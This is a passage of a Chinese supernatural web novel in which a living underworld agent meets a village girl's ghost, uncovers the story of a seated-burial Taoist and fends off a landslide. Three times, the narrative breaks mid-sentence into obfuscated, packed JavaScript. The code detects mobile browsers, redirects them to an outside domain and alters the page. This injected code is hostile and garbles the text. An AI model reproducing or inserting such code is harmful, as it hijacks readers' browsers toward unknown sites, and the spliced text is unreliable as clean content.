“那哪里是谈判，明明就是土匪！”李音愤愤地跺脚，“谈不成就搞破坏，破坏我们的山路，故意在大家的田地里撒药，村里的老人们本就没多少地了，有些人穷的就靠地吃饭，他们这样做跟杀人有什么区别！” 路遥听得发怔，原来在还算富庶的华丹市周边居然还有这么穷的村子…… “当时我看不下去，就跟乐乐还有村里的几个小伙伴商量，想扮鬼把他们吓走……” “但是没想到的是，李乐乐死了。”简灵直视着她的眼睛，平静地问道。 李音的声量陡然提高：“乐乐就是被他们害死的！！” 那晚几个小孩兵分好几路，有的负责翻墙偷偷打开别人的窗户，有的负责爬房顶上扮鬼吓人，而年纪比较小的李乐乐被分到去地里给稻草人身上撒点鸡血。 大家经常在地里玩，对于环境也已经很熟悉了，不用翻墙爬房顶对李乐乐来说也是很简单的任务。 “可是到第二天，大家才发现、发现……”说到这里，李音有些哽咽，眼泪滑过脸颊又被她倔强地抹去，“发现乐乐死在了地里。” 路遥有些难过，轻声问道：“她是怎么……死的？” “警察说是在田埂上奔跑，摔倒之后头磕在石头上……没来得及救……” “所以你也没有证据证明，是那帮来买地的人害死了李乐乐。” 简灵拧眉，于昊也不是什么只手遮天的人物，但凡有证据是他们害死了李乐乐，也不会就这么轻易放过他。 可李音根本不信：“他们当晚又去田地里偷偷撒药！除了他们还能有谁！” 李音的说法太过主观，连围观的路遥和王智也觉得有些牵强了。 两人看了看简灵，本以为她会生气，可她却什么都没说，只淡淡地看了一眼窗外：“下雨了。” 又是一声惊雷，随即下起了瓢泼大雨。 夏季的暴雨总是来的这么突然，村子出了事之后，拍摄收尾的节目组很快都撤走了，只剩几个倒霉的剧组，这会儿遇上暴雨，进度怕是又要拖慢许多。 村子里响起窸窸窣窣的人声，都开始忙着收设备躲雨。 “音音——音音啊——” 外面传来一个年迈的喊声，风声裹挟着泥土的腥气吹进屋里。 李音似乎是被这一声叫得清醒许多，大声应和了一声，跑到门口时她突然停下脚步，扭头认真地说：“你不是能招鬼魂吗？如果你真的能和乐乐对话，可以问问她。” “好。”简灵也认真应下。 女孩冒着雨跑出去，躲到一个老奶奶的伞下，吸了吸鼻子，掩盖住刚才哭过的声音： “下这么大雨你出来干嘛。” “怕你没带伞，小糊涂蛋啊。”老奶奶一手把伞往李音头上挪了挪，另一手拄着一根长长的拐杖在地上磕磕碰碰。 居然是个盲人。 李音抱怨道：“都说好多次了！下着大雨，村外都是泥巴路难走得很，到时候滑倒了怎么办啊！” “知道了，知道了。” 下雨？泥巴路？ 简灵微微皱眉，总觉得有什么东西在脑海里一闪而过，却又抓不住。 王智伸过头来看了一眼，叹气道：“原来李音是瞎婆子家的啊？唉，也是个可怜的。” “你认识她们？” “我们组在这儿待的时间长，也听说过。”王智的目光追随着挤在一把伞下的两个背影，“瞎婆子家是狸湘村里最穷的了，本来李音都该是上大学的年纪了，可为了这个瞎子姥姥留了下来，平时就给剧组跑跑腿打打杂啥的，赚点生活费。” “她父母呢？”路遥问道。 “早些年都死了。”王智又摇了摇头，“听说瞎婆子还有个小儿子，跟儿媳在外面打工，可自从小孙女早夭之后，儿子儿媳就再也没回来过……” 一时间大家都没说话，那个早夭的小孙女原来就是李乐乐。 可如果五年前，村里闹鬼的事件是几个小孩子在恶作剧，这次发生的命案又是怎么回事？ 那块大石头上沾染的淡淡的鬼气，又是哪里来的？ * 简灵回到墓地附近，远远地看见李乐乐的鬼魂又出现了，她试图用手去推小咪，焦急道：“你快回去找音音姐姐，下雨了你都淋湿了，会生病的！” 可小咪并不离开，在一旁的坟包上蹦蹦跳跳，呜哩哇啦的不知道在叫什么。 喵了半天发现李乐乐听不懂，小咪着急地转来转去。 “你是饿了么？这儿的猫粮都成泥巴了，你要不吃这个鱼肉？”李乐乐指了指已经接满了雨水的饭盒，“哎呀都泡水了，你还是回去吃吧，急死我了！” 忽然一把伞出现在小咪的头顶。 李乐乐看到不久之前那个姐姐又出现了，她轻轻扒拉了一下饭盒，轻声说道：“小猫一般不喜欢这种调料味太重的人类食物，以后再喂，可以让李音用清水稍微冲一下。” 李乐乐下意识就想钻回墓中，突然反应过来是在跟她说话，微微一愣：“姐姐，你能看见我？” “嗯。” “呜哇！太好了！”李乐乐完全不见之前的惧意，飞快从墓碑上跳下来，“你是第一个能看见我的人！连音音姐姐都看不见我呜呜呜……我一个人在这里，也找不到姥姥，太孤单了……只有小咪能看到我……呜呜……” 李乐乐的鬼魂干净而纯粹，孩子的灵魂很少会停留在人间，一般直接就被带走了，简灵挥去心中疑惑，看来李乐乐应该跟工作人员的死没有关系。 而且这孩子也不知道一个人在这儿游荡多久了……简灵的眼中难得流露出几分不忍，摸了摸她的头发。 “哇！姐姐你还能碰到我吗？”李乐乐呆愣在原地，继而狂喜，眼中溢满了一包泪，可怜兮兮地看着她，“姐姐，你、你能再……摸摸我么？” 简灵轻轻捏了捏她的脸，却像是触发了什么机关似的，惹的小姑娘哇得大哭起来，豆大的泪珠顺着脸颊滑落，混着瓢泼大雨，在半空消失成一团小小的烟雾。 她没有打断哭泣的小姑娘，任由凄厉的呜咽声顺着风雨传入村子中，殊不知这声音可把村里的人都吓坏了。 等了许久，小姑娘终于哭累了，靠着自己的墓缓缓下滑，抱着膝盖坐在泥泞中。 “姐姐，你是来带我走的么？”她的声音闷闷的。 “为什么这么问？” “我知道的，当时我死的时候就该走的，但我跑了。”她抬起头看看简灵，“你身上好像有一种感觉，我、我也说不清楚……” 简灵是活阴差，想来跟从地府出来抓逃跑鬼魂的阴差有点类似的，让她弄混淆了。 “不想走也可以先不走。”简灵蹲在地上，靠着隔壁墓的石碑，“但是你当时…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16439901|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么要跑？” 李乐乐垂着头，试图摸一摸旁边的小咪，可手直接从小咪的身体中穿了过去。 她委屈地撇撇嘴：“当时小咪受伤了，我担心它会死。” 简灵有些愕然，小孩子的精神世界原来就是这么简单。 “你……”她张了张嘴，最终没有问出“你是怎么死的”这句话，这对于一个才11岁就死去的孩子来说，未免太残忍了。 “你墓碑旁边这些猫粮和食物，都是李音放在这里的吧。”她想了想，聊了些无关紧要的事，希望轻松的话题能让她不那么紧张，“你是怎么告诉她的？” 李乐乐果然打起了精神，有些小得意地咧开嘴笑：“你认识音音姐姐吗？她看不见我，但我很努力、拼命地想着，让她在我的墓前放点猫饭，这样一来我就能看见小咪了……她好像真的能收到诶！音音姐姐是最好的姐姐！” 似乎是太久没跟人交流了，李乐乐的小嘴巴说个不停：“她有时候会过来看我，不对不对……她看不见我，但她是来看我的。” 说完她的眼神又黯淡了些：“我死了，她只是来看看我的墓碑。” “没关系，你如果想跟她说话，也可以像这样很努力地想一想……这样她就会在梦里听到你的话了。”简灵不知该如何跟她解释“鬼魂托梦”。 “真的吗？” “嗯。” “那我下次让她有空了给小咪洗个澡吧。”李乐乐想了想，“小咪上次踩到了泥巴坑，有点脏了。” 小咪好像听懂了她的话，抬起爪子甩了甩水，不满地喵了一声。 简灵摸了摸它：“小咪是你以前养的猫吗？” 可李乐乐却摇头：“它是村子里的猫，我没有钱养小咪，只能把我的饭给它吃……但后来姥姥说有个好心的阿姨资助我上学了，所以可以给我一点点零花钱买零食吃！我就把钱省下来，让音音姐姐帮我买一点猫咪的食物……” 一番话令简灵心中咯噔一下。 李乐乐，居然就是吴青当年资助的小女孩！ 但是李乐乐却死了，死在了于昊来村里捣乱的时候。 她表情微动，在脑海中快速梳理了一遍时间线，难道小女孩的死，跟于昊有关系？所以吴青才选中了于昊——最后杀了他。 简灵抿了下嘴，斟酌半晌才摸出了手机想给李乐乐看于昊的照片：“乐乐，你见过这个人吗？” 李乐乐认真地瞧了半天，突然激动地爬起来：“就是他！他当时踢了一脚小咪，小咪都爬不起来了！他很坏！！还欺负村里的爷爷奶奶们！” 她双手叉腰，小大人儿似的气鼓鼓道：“我当时抱着小咪往回跑，想让姐姐和姥姥看看怎么办，然后我、然后我……” 好不容易止住的眼泪忽然又落了下来。 简灵心中一沉。 愣在原地半晌，李乐乐低头看着自己的双手。 “然后我就死了。” 雨下得更大了，天空像破了一个洞，在往下泼水。 豆大的雨滴重重的打在伞上，深夜的墓地中吵得要命。 忽然手机急切地叮了两声，她摸出手机按亮，屏幕上是一条短信和一条微信。 【预计今夜到明天上午部分地区大到暴雨，请避开积水地段，远离电线杆、广告牌、危房以及树林、山脚等危险区域，注意安全。】 【季星迟：你还在狸湘村？听说那里出事了，今晚还有雷暴，千万小心，我们剧组就在附近不远，如果有需要联系我。】 38. 坐化缸 雨实在是太大了，简灵不得不先回到活动中心避雨。 她的心中始终对大石块上的鬼气痕迹存疑，死者她没有见到，可狸湘村就这么大，的确也没有感应到其他鬼魂存在的气息。 太奇怪了。 简灵不由得看了一眼窗外。 瓢泼大雨如同扯了一张模糊的雨帘，今夜本就只有些昏暗的灯光，远处的山更是黑漆漆的一片，在雨幕中犹如庞然大物，无声无息地接近这个村子。 或许该去山上查探一下？ 平时天晴的时候山路就难走，现在这种天气，更没法上山，只能明天再看看情况。 “简灵。”谢慈不知在里间发现了什么，轻声喊她。 活动中心里只剩下她们三个，路遥因为雨势太大没来得及离开，现在正歪在躺椅上打瞌睡，王智倒是已经恢复精神回到自己的节目组去了，不过他们今夜也同样要滞留一晚。 “怎么了？”简灵走过去，里间是一间小小的储藏室。 曾经的狸湘村是个比较传统的村子，一直保留着文字记录的传统，当年的宗祠被拆除之后，也不知是哪个念旧的人，还将这些文字档案都保留了下来。 她随便拿起一本册子翻了翻，扬起一阵灰尘。 “咳咳……”简灵捏着册子手伸得老远，轻轻地抖了抖，摊开在桌上，“是狸湘村的族谱。” 狸湘村的本地人基本都姓李，从百年前开始就有了记录，村子里的人总共分了四五个个旁枝，每一枝都记录得很清楚。 简灵的手指顺着一个个名字慢慢移动，忽然停下。 “这个人姓马，怎么会在狸湘村的李氏族谱上？”她略微疑惑道，往后翻了翻，没再见到同姓的人，“而且还是在族谱的第一页。” “难道是绝后了？”谢慈猜测，“可他一开始怎么会被记在族谱上。” 简灵陷入沉思，他们家其实也有族谱，只是老简家跟别的人家不一样，身份比较特殊，族谱记录不分什么主家旁枝，而是只记录继承了阴差印记以及跟着祖辈学习风水之法的人。 她琢磨不透，翻了翻其他的资料，一边问谢慈：“你们那时一般上族谱有什么规矩吗？” “我们家只要是谢姓的，无论男女老少都会记，但也只是谢家，若是非要说外姓如何会上族谱……” 谢慈想了想，不确定道：“我只听说有些人家会将那些对家族建立有极大的帮助之人郑重地记录下来，以便于后人也记住他的恩德……或许这个姓马的也是如此。” “有道理。”简灵点点头。 现在外面还下着大雨，两人反正也没什么事，索性开始翻找着这个马季山的线索。 “有了。” 谢慈翻开一本类似志异的记载，推到中间一起看，两人飞快地浏览着，简灵却逐渐皱起眉头。 原来李家祖上兄弟几人逃难至此，慢慢借着山林盖起了房子，靠山吃山，起码能安稳地活下来。 有一天他们在山上打猎的时候遇到一只受伤的狸奴，虽然连生计都成问题，可李家兄弟看那猫儿弱小又可怜，还是不忍心，带回家细心抹了草药，将它的伤治好了。 本以为只是小事一件，直到一个叫马季山的仙人找上门来，自称是那猫的主人。 “仙人？”谢慈愕然，“这世上真有仙人之说吗？” 简灵耸了耸肩：“谁知道呢。不过这个马季山应该只是个修道之人，‘仙人’是李家后人美化的称呼。” 马季山说自己即将得道成仙，看在他们救了猫的份儿上，自己可以在此坐化，福禄之气将永保李家，世代平安。 看到这里，简灵无语：“这李家兄弟真的不是被诈骗了吗？不仅给马季山盖了个房子用来闭关修炼，还一日两餐供应，这不白吃白喝嘛！” 还永保李家，世代平安。 看现在的狸湘村都穷成啥样了。 可越往后看，简灵的神色逐渐严肃了起来。 谢慈却有些看不懂了：“看起来自此之后李家的确富庶起来了，可为何要将这马季山活埋！这不是恩将仇报？！” “不不，这可不是活埋……”简灵倒吸一口凉气，书上记载着那马季山托李家人在自己那间房子地下挖了一个很深的坑，放入一口大缸，自己坐了进去。 “这是传说中的坐化缸。有些僧人或修道者，会让自己的肉身坐化于大缸中，埋在祖祠的地底下，以保佑后人。” 她们对比了一下马季山埋缸的位置，赫然就是之前狸湘村祠堂的地方！ “看记载，马季山还真保佑过狸湘村？”谢慈继续往下看。 就在马季山坐化后不久，有一天天降异象，电闪雷鸣，暴雨不停歇，村后山上的树被雷劈断了不少，还有落石差点砸死了人！ 险些丧命的几个村民却都说看到了马季山的仙体，是马季山挡下巨石，救了他们！ “仙体？”谢慈皱眉，“别是鬼魂吧。” “不对……不可能每个人都能看见鬼魂。”简灵想了想，“而且你不觉得这记录的事情有点怪吗？” ——轰隆一声巨响，雷鸣电闪。 谢慈睁大了眼睛：“暴雨，雷鸣，落石……跟这两天发生的事一模一样。” 而简灵也骤然想到了一件事—— “灵体出窍。” “轰——！” 又是一声巨大的雷鸣。 活动中心的灯闪了闪，啪的一下暗了，整个世界陷入黑暗之中。 外面也一片漆黑，闪电猛地闪了几下，晃得人心慌。 一股鬼气伴随着濡湿的雨气从窗口扑面而来，两人心中一惊，同时转头看去！ 一个孩子的身影出现在窗口，闪电将她半透明的身体映得更加清晰——是李乐乐！ “怎么了乐乐？”简灵疾步走过去。 “姐姐！”李乐乐满脸着急，神色间看起来异常疲惫，“刚才小咪非要带我往山上去，可我走到山边上怎么也过不去呜呜……我很努力很拼命也只能走到这里了！姐姐你能不能把小咪喊回来……小咪？！” 刚还不见身影的小黑猫蹭的跳上窗台，冲着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441683|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简灵和李乐乐呜哩哇啦地叫唤着，急得团团转，跳下来咬着简灵的裤腿就把她往外拖。 “小咪？怎么了？”简灵心中有股不好的预感，可总是抓不住那一丝感觉，好像遗漏了什么东西，“嘶——” 她的伤口又疼了起来，连带着太阳穴都隐隐作痛。 “谢慈！你在这儿等我！”这会儿顾不上那么多，简灵连伞都没拿，跟着小咪冲进了暴雨之中。 小咪在暴雨中飞奔，爪子踩在泥泞的水中溅起细小的水花，很快就被简灵的脚印盖住，一猫一鬼一人几乎是瞬间赶到了那片空地上。 可除了那块砸落的大石头，依然是什么都没有。 大石头？ 简灵猛地抬头，往向黑漆漆的山林之中！ 那年狸湘村所谓的天降异象，可能就是跟今天一样的雷鸣暴雨？！ 而马季山灵体出窍，也是为了保护狸湘村，以免他们被滚落下来的断木和落石埋没。 她的脸色渐渐阴郁下来。 泥石流？ 小咪三两下爬上巨石，在巨石上蹦蹦跳跳呜哇乱叫，又急切地看了几眼山上。 它常年跟鬼魂接触，是只有极有灵性的猫，那晚将王智慌忙带离这儿一定是感觉到了什么。 “小咪，是不是山上有东西又要砸下来了？”她问道。 有灵性的小咪听懂了，它顿了顿，随即更加激动地蹦了几下，扯着嗓子叫着，哀嚎的声音让这个难熬的雨夜更添了几分诡异。 村里有些人发现停电了，此刻听到猫的哀嚎更感到一阵头皮发麻。 暴雨将简灵淋了个透湿，却也让她愈发冷静和清醒。 她随意地抹了一把脸。 李乐乐受制于地缚无法离开狸湘村的范围，谢慈以纸人的躯体长时间泡在雨中也会有问题，现在没有人能去山上查看情况。 除了她。 太阳穴传来剧烈的疼痛，简灵似乎隐隐想起了什么。 灵体出窍，她也会。 她大声喊李乐乐，声音几乎被雨声淹没。 “我在！”李乐乐跟着她往离空地最近的一间空房子跑去，小小年纪的她不知道发生了什么，但总觉得要出事，拼尽全力去找简灵也是一种近乎于直觉的行动。 “你去找刚才那个能看见你的姐姐！告诉她这边可能会发生泥石流，让她跟路遥一起通知村里的其他人撤离！”简灵尽量大声地喊出来，厉声喝道，“听懂了吗？！” “泥、泥石流……路遥……村里撤离……”李乐乐呼吸急促，身体明显在颤抖，可一双小手紧紧地握起拳头，“听懂了！！” 简灵顾不得那么多，直接破门而入，许久没有人住的空房子蒙上了一层厚厚的灰尘，水汽更让屋里散发着一股潮湿的气味。 她把门掩好，迟疑了一瞬还是先摸出手机，语速飞快地给季星迟发了两条语音消息。 “季星迟，狸湘村可能有落石甚至泥石流的风险，我现在要去确认一下，你快报警，让村里的人先撤离。” “你不要来。” 39. 坐化成石 李乐乐在夜晚的暴雨中狂奔。 她在狸湘村生活了十一年，村里的每一条小路都像是手机拍下的照片一般牢牢地印在了她的脑海里。 小时候她没有手机，常常缠着李音用手机帮她拍很多很多照片，村里的大家都笑着夸她是最好看的小姑娘，除了爸爸妈妈。 大家都说爸爸妈妈是出去赚大钱了，这样才能供养她和姥姥，甚至还能把她接到外面去生活，可她们却仅仅能吃得饱，连衣服都是姥姥做的，平时只能跟小伙伴们在田间奔跑，连学都上不起。 什么时候爸爸妈妈才能“赚大钱”呢？但其实她也不在乎。 她不在乎父母这两个陌生人，不在乎赚大钱，她只在乎姥姥和音音姐姐。 如今的狸湘村变了很多，她已经很久没有进入过村子里了，在漆黑一片的雨夜中依然熟门熟路地找到了活动中心，从窗户外看到了谢慈的背影。 李乐乐很久没有感觉到紧张和心脏狂跳的感觉了，她着急地伸出手猛地向前一扑，却扑了个空。 谢慈回头：“是你？” “她说…那个姐姐说……”李乐乐惊慌的小脸上还挂着泪痕，“救大家！” 李乐乐几乎一字一句地重复了简灵的话，谢慈立刻就听懂了，马上到隔壁叫醒路遥，用最简洁快速的话说明了现在的情况。 “什么？”路遥还以为自己没睡醒，反应了几秒后一骨碌从躺椅上跳起来。 谢慈迅速说道：“你去通知那些剧组的人，我去叫醒其他的村民。” “等等！”路遥喊住她，一把扯过墙上挂着的工作人员的雨披给她披上，自己也披上另一件，仔细把拉链拉好，“雨太大了，谢慈姐你也注意安全啊！” 说完路遥就冲进了雨幕之中， 谢慈正要跟上，却陡然发现李乐乐停在了活动中心门口，她迈出的脚步如同被一堵无形的墙阻拦住。 “我过不去！”李乐乐睁大了眼睛，用力拍着面前那堵无形的墙。 虽然很想跟着谢慈一起去，但她知道这里已经离她的墓很远了，已经到了一个鬼魂活动范围的极限。 反正别人也看不见自己，去了没什么用，她大喊：“姐姐你快去！” 谢慈一咬牙，转身消失在雨幕中。 “你快去……反正我也没什么用……”李乐乐今天哭了很多次，她自从接受了自己已经死了的这件事情，很久都没有哭过了。 哭也没用。 * 一阵剧烈的敲门声吵醒了李音。 她匆匆踢踏着拖鞋走出房间，不知为什么总感觉这会儿外面特别嘈杂，不过自从各种剧组节目组来狸湘村拍摄之后，村中的夜里总是很亮也很吵。 “停电了？”李音咕哝了一句，敲门声愈发重了起来，把姥姥都吵醒了。 老太太有些缓慢地翻身坐起来：“这么晚了，外面是谁啊？” “不知道，你继续睡吧，我去看看。”她打开门看到谢慈后却是一愣，“怎么是你？” 谢慈飞速地解释了一遍，本来都打算如果李音不信就强行把瞎婆子带走，不信她不跟着跑。 可李音的脑海里闪回了那块从后山滚落的大石头，以及村外最近异常泥泞的路，果断地选择了相信她：“你去通知其他人！我姥姥腿脚慢！” 可谢慈只犹豫了一瞬，扯下门口的雨衣跟了进去。 李音刚给姥姥穿好鞋，一转身被她吓了一跳：“你干什么？” “你去通知村里的其他村民！”谢慈挥起雨披，把瞎婆子盖的严严实实，连帽子都仔细戴好，将她牢牢背在背上拔腿就往外冲。 “你等等！！”李音急吼吼地跟上去，家里没有多余的雨披了，她随便戴上帽子就冲了出去。 谢慈的速度飞快，大雨都拦不住她的脚步，李音有些吃力地一边跟着，还一边双手拢在嘴边大声喊着：“快起来！！逃命啦！！” 她抹了一把脸上的雨水，发现谢慈并没有往村子外面跑，气急败坏喊道：“你去哪！你把我姥姥放下！！往外跑啊别往山下跑！！” 谢慈充耳不闻，只闷头直冲，跟背上的瞎婆子说：“我带你去见一个人。” 不明白情况的瞎婆子也没敢乱折腾，安安静静地趴在谢慈的背上，听完怔了怔：“傻孩子，我一个瞎婆子，什么都看不见的。” 谢慈闷闷地“嗯”了一声，转身跑进了活动中心的院子里。 活动中心的门口还站着一个淡淡的、瘦小的身影，穿着陈旧的碎花小裙子，光着脚站在雨幕中，披散着的头发却一点也没淋湿。 她抬起头，怔怔地看着来人。 谢慈一步一步走近，站定在她面前。 瞎婆子感应到谢慈停了下来，有些颤巍地伸手掀开了一点帽子，露出一双没有焦距的眼睛：“这是要去见谁啊？” “姥姥……？” 李乐乐刚刚才止住的眼泪又如同决堤的河，瞬间涌了出来：“姥姥！！” 瞎婆子听不到李乐乐的声音，只感觉呜咽的风声在耳边响起。 她微微抬起头，无神的瞳孔颤了颤，像是感觉到了什么，却又不知为何无法抓住。 “见完了。”谢慈沉声说道，“我们要走了。” 李乐乐胡乱抹了抹脸上的泪水，连连点头：“嗯嗯快走！雨越下越大了！” 一转身正碰到李音跟了上来，她气喘吁吁地撑着膝盖，无语极了：“你、你带我姥来这干嘛！不是要逃命吗！我看你是一点都不急啊！” 只见谢慈点了点头，转身离开时又顿住脚步，微微偏头，对着空无一人的活动中心大门：“我们走了，可能很难再见了。” 李乐乐的身影比之前更加淡了些，谢慈感觉到她已经撑不了太久了。 “姥姥再见，音音姐姐，再见。” 一丝微妙的感觉在李音的心头升起，她明明只听见呜咽的风声，但为什么心中却隐隐感到一种悲伤？ 她跟着谢慈离开，回了三次头，却只看到无边的雨幕和空旷的院子……她猛然想起谢慈和简灵的身份！ “乐乐？”李音猛地停住脚步，自言自语道。 可附近人家都已经听到声响陆续跑出门，她来不及多想，快跑着跟上了谢慈。 * 简灵的灵体已经出现在了后山的山脚下。 她的视线迅速扫过树干歪斜的山壁，沿着被狸湘村人踩出的小路向上奔跑。 灵体是类似于魂魄和实体的一种中间状态，不仅可以用法诀，连速度和体能都比身体快上许多。 只是如果灵体出窍时间太久，尤其是消耗了太多精力，会对于大脑造成损伤。 她怀疑自己曾经就是因此才不记得自己学过灵体出窍，甚至隐隐忘记了一些事情，师傅后来禁止她修习应该也是这个原因。 现在没有时间思考那么多，她知道自己现在上山并不是一件明智的决定。 可是已经确定了大石头上残存的鬼气并不是李乐乐留下的，她受制于地缚限制，甚至不能走到山脚下，那鬼气的来源必定是在山上。 落石究竟是天气原因引发的巧合，还是有鬼魂在作怪？ 简灵的速度越来越快，湿滑的山坡对她没什么影响，一路上都是断木碎石，她屏气凝神，手脚并用向上攀爬着。 滂沱的大雨不停地冲刷着这座小山，泥土混着雨水形成一股一股污浊的河，顺着山壁源源不断地往下淌去。 简灵微微喘着气，抓着一棵断裂的粗壮树干，仔细地观察着周围的情况。 灵体状态下，鬼气在夜晚也清晰可见，她敏锐地捕捉到空气中微薄的鬼气，脚下一蹬，顺着那股气息往前。 模糊的雨幕中，简灵看到一块巨大的岩石。 她眯了眯眼睛，那块岩石正以一种诡异的角度横插在倾斜的山壁上，底下什么支撑点都没有，中间居然是悬空的状态。 而空气中微弱的鬼气正是从那块岩石中发散出来的。 简灵靠近那块岩石，手中掐诀，屏住呼吸，侧身贴着岩石边，一步一步往岩石下的中空部分挪去，脚步声隐没在大雨之中。 脚下不小心一滑，几块碎石顺着山壁滚落下去，她几乎能听见自己的心跳声。 可岩石中的鬼气没有动静。 简灵转进洞口，正要掐诀的手却猛地顿住，睁大了眼睛！ 稀薄的鬼气混杂着一些星星点点的金光，那些金光比鬼气还要微弱，却跟鬼气缠裹在一起，环绕在一个人的身边。 说是人可能不准确，应该是一个散发着鬼气的灵体。 那是一个垂垂老矣的灵体，雪白的须眉，看起来本该是仙风道骨，可慈祥的面容却布满青黑，似乎是在灵体状态下溘然长逝。 “这是……”简灵惊得说不出话。 头顶的岩石突然微微颤了颤，只见那老人灵体身边的金光倏然间亮了亮，止住了岩石的颤抖，而后那些金光却更加微弱了几分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462289|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——竟然死去多年，还在用灵体撑着这块几乎可以毁灭狸湘村的巨岩！ “马季山……？” 简灵骤然想起那个说要保护李家世代的修道之人。 难道他从坐化之前就发现了这里，为了保护狸湘村甚至放弃了自己坐化成仙的希望，永永远远地用自己的灵体守护着李家后人。 其实简灵并不知道到底有没有人能够“成仙”，可对于马季山来说，显然兑现自己的承诺比追求虚无的坐化成仙更加有意义。 淡漠的金光在鬼气的围绕下，如星星般闪烁了几下，消失了。 而马季山的灵体也越来越淡，头顶的巨岩开始猛烈的颤抖起来！ 简灵心底一沉。 马季山的灵体撑不下去了，巨岩的颤动带动了旁边的土块和石头，所以前几天的坠石也是如此。 可从她上来到现在才过了十几分钟，底下狸湘村的人根本来不及撤离，如果这块巨岩落下那么村里的人会全部被山石和泥泞掩埋！ 几乎是下意识的，简灵两步跑到即将消失的马季山身前就地盘腿而坐，口中喃喃，两手起诀飞快交替，几乎能看见残影！ “……八卦逆旋，裂魄镇山，起……！” 最后一个起字，她几乎用尽了所有的力气，反向相扣的两只手跟着头顶的岩石一起颤抖，手臂上暴起几道细细的红色筋脉，那道伤口更是直接裂开，混着身上残留的雨水往下淌。 简灵一瞬间有点后悔。 一是后悔自己为什么要学这些乱七八糟的东西，为什么要学这破灵体出窍！ 二是后悔为什么没有好好修炼，马季山看起来能轻松顶住岩石上百年，而自己仅仅是坚持几分钟就已经耗尽了力气。 头痛欲裂。 生理性的刺痛让她忍不住流眼泪。 再坚持一下。 李乐乐一定能将消息带给谢慈，谢慈和路遥一定能带着狸湘村的所有人逃离。 简灵不知道自己支撑了多久，很多次都感觉自己好像昏过去了，但身体撕裂般的疼痛又让她清醒过来。 她无法像马季山那样坚持很久，必须还留一丝力气逃跑，虽然她并不知道自己回到身体后还来不来得及躲开。 暴雨还在下个不停，简灵模糊地想，天空不会真的破了个洞吧。 巨岩已经逐渐下压几近贴到了她的头顶，估摸着已经过了有半个多小时？一个小时？ 仁至义尽了，这么久如果还有人没跑掉，她真的没办法了！ 简灵咬咬牙，大喊一声，整个人猛地弹起窜了出去！ 巨岩只顿了一瞬。 轰然塌落。 简灵在跟时间赛跑，她几乎是顺着山壁滚下去的，不求别的，只求比巨岩和泥流滚的快一点好吧！ 就在她扑进自己的身体时，一阵刺骨的头痛袭来，简灵撑住地面，站起来又跌坐回去，外面雷声阵阵，混杂着震天动地的泥流和石块滚落的动静，还伴随着一阵巨大的轰鸣声。 轰鸣？ 昏倒在地的简灵勉强睁开眼睛，一个熟悉的身影破门而入：“简灵！” 季星迟一把将她背起来往外冲，简灵被痛感折磨得想吐，趴在他背上有气无力：“季……你不叫季星迟……” 话还没说完，她就感到一阵天旋地转，季星迟将她甩到机车上，用自己的雨披牢牢绑在两人的腰间：“抓紧了！” 机车的轮胎陷入泥水中，渐起巨大的水花，随着一声轰鸣飞驰而出。 风夹杂着雨水扑在简灵的脸上，让她清醒了几分，不知为何突然有一种想留遗言的感觉。 身上没有力气，简灵只能扯着嗓子：“我想起来了！你是当年那个怕鬼的小毛头！小星星！” 季星迟简直气笑了，机车往垂直于山壁的方向狂奔，一路风驰电掣，泥浆飞溅，如果没猜错的话他们应该是在逃命吧？ 她怎么还这么悠闲，在这儿回忆青春是吧？ 季星迟冷笑，大声喊道：“我们都要死了你想起来了？！” 风灌进喉咙，简灵呛了几口才喊道：“我是阴差！死了可以带你一起去地府走后门！让你来世投个好人家！” “简灵你有病啊？！” 季星迟怒骂，身体伏低了些，速度更快了几分。 一块大石头从山上砸了下来，季星迟猛地扭转方向，轮胎在泥水中打滑，两个人同时滚落在地！ 简灵昏迷前，一阵阴影将她笼罩。 40. 还活着 “终于出来了，你是真笨，连撬锁都不会。” “……谢谢，但是地下室的门该怎么撬？”小男孩从储藏室出来，微微喘着粗气，努力平复着慌乱的气息。 灵体状态的小简灵哽了一下，整个人趴在门上，眯起一只眼贴在门缝里看了看，很是泄气：“地下室的大门外面有个插销，我弄不开。” 男孩看着面前半透明的“鬼”，不知道为什么竟然没有害怕的感觉，她似乎在周围一群鬼中很有威慑，很轻易就把它们赶走了。 难道她是鬼中的老大？ “没事的。”男孩思索着，缓缓摇了摇头，“地下室很大，没那么难受。” 小简灵煞有介事地晃了一圈，确保周围没有捣蛋的小鬼了，这男孩本身不是什么吸引鬼魅的体质，只是这地下室常年荫蔽不见光，久而久之便聚集起了不少小鬼。 因为小孩的眼睛比较灵，能模模糊糊地看见一些东西，所以无聊的小鬼们就喜欢吓唬小孩子取乐。 